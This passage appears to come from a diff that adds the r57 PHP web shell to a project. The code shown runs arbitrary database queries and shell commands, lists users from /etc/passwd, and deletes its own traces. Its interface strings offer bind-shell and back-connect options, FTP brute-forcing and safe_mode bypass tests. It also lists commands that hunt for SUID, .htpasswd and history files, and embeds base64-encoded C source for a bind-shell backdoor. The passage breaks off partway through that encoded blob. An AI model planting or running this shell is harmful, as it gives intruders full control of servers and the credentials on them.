[ BACK ]
"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "Query#".$num." : ".htmlspecialchars($query)."
"; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "
Error : ".$error."

"; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode(" 
 ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("  ",$values); + $sql2 .= " ".$values." "; + } + echo ""; + $sql = ""; + $sql .= $sql2; + echo $sql; + echo "
 ".$keys." 

"; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "
affected rows : ".$rows."

"; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "
Can't connect to MySQL server
"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "Query#".$num." : ".htmlspecialchars($query)."
"; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode(" 
 ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("  ",$values); + $sql2 .= " ".$values." "; + } + echo ""; + $sql = ""; + $sql .= $sql2; + echo $sql; + echo "
 ".$keys." 

"; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "
affected rows : ".$rows."

"; } else { echo "
Error : ".$error."

"; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "
Can't connect to MSSQL server
"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "Query#".$num." : ".htmlspecialchars($query)."
"; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "
Error : ".$error."

"; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode(" 
 ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("  ",$values); + $sql2 .= " ".$values." "; + } + echo ""; + $sql = ""; + $sql .= $sql2; + echo $sql; + echo "
 ".$keys." 

"; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "
affected rows : ".$rows."

"; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "
Can't connect to PostgreSQL server
"; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "
Can't connect to Oracle server.
".$error['message']."
"; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "Query#".$num." : ".htmlspecialchars($query)."
"; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "
Error : ".$error['message']."

"; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "
affected rows : ".$rowcount."

";} + else { + echo ""; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } + echo ""; + while(ocifetch($stat)) + { + echo ""; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } + echo ""; + } + echo "
 ".htmlspecialchars(@ocicolumnname($stat, $j))." 
 ".htmlspecialchars(@ociresult($stat, $j))." 

"; + } + @ocifreestatement($stat); + } + } + } + @ocilogoff($db); + } + break; + } + echo "
"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "



"; + echo "
"; + echo "
[ BACK ]
"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return 'no value'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '', true); + return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '', ''; + foreach (@ini_get_all() as $key=>$value) + { + $r .= ''; + } + echo $r; + echo '
Directive
Local Value
Master Value
'.ws(3).''.$key.'
'.U_value($value['local_value']).'
'.U_value($value['global_value']).'
'; + } +echo "
[ BACK ]
"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '
CPU
'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= ''; + } + echo $r; + } + else + { + echo ''; + } + echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; + echo "
[ BACK ]
"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '
MEMORY
'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= ''; + } + echo $r; + } + else + { + echo ''; + } + echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; + echo "
[ BACK ]
"; + die(); + } +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'???????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text77'=>'???????? ????????? ???? ??????', +'ru_text78'=>'?????????? ???????', +'ru_text79'=>'?????????? ???????', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_butt14'=>'???????', +'ru_text87'=>'???????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'FTP-??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????????', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_butt15'=>'?????????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>' New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Table', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text77'=>'Show database structure', +'eng_text78'=>'show tables', +'eng_text79'=>'show columns', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "
:: "; +$table_up2 = " ::
"; +$table_up3 = ""; +$arrow = " ?"; +$lb = "["; +$rb = "]"; +$font = ""; +$ts = "
"; +$table_end1 = "
"; +$te = "
"; +$fs = "
"; +$fe = "
"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "
".$lang[$language.'_text96']."
"; } + else + { + echo '
'; + foreach($users as $user) { echo $user."
"; } + echo '
'; + } + echo "
[ BACK ]
"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= ""; + foreach($res as $file=>$v) + { + $r .= ""; + $r .= ""; + foreach($v as $a=>$b) + { + $r .= ""; + $r .= ""; + $r .= ""; + $r .= "\n"; + } + } + $r .= "
".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= ""; + $r .= "
".$a."".ws(2).$b."
"; + echo $r; + } + else + { + echo "

".$lang[$language.'_text56']."

"; + } + echo "
[ BACK ]
"; + die(); + } +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat(" ",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "
".$text.$i."
"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "
".$text.$i."
"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } +else { $text = "Can't create "; } +echo "
".$text.$i."
"; +return null; +} +function fe($l,$n) +{ +$text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????'); +$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); +echo "
".$text[$l][$n]."
"; +return null; +} +function mr($l,$n) +{ +$text['ru'] = array('?? ??????? ????????? ??????','?????? ??????????'); +$text['eng'] = array('Can\'t send mail','Mail sent'); +echo "
".$text[$l][$n]."
"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = ""; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "".$t1."".$t2.""; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '<DIR>'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo "
    \n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo "
  • [ $file ]
  • \n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a".$header."\n"; + } + } + } + } + echo "
\n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"\\1",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 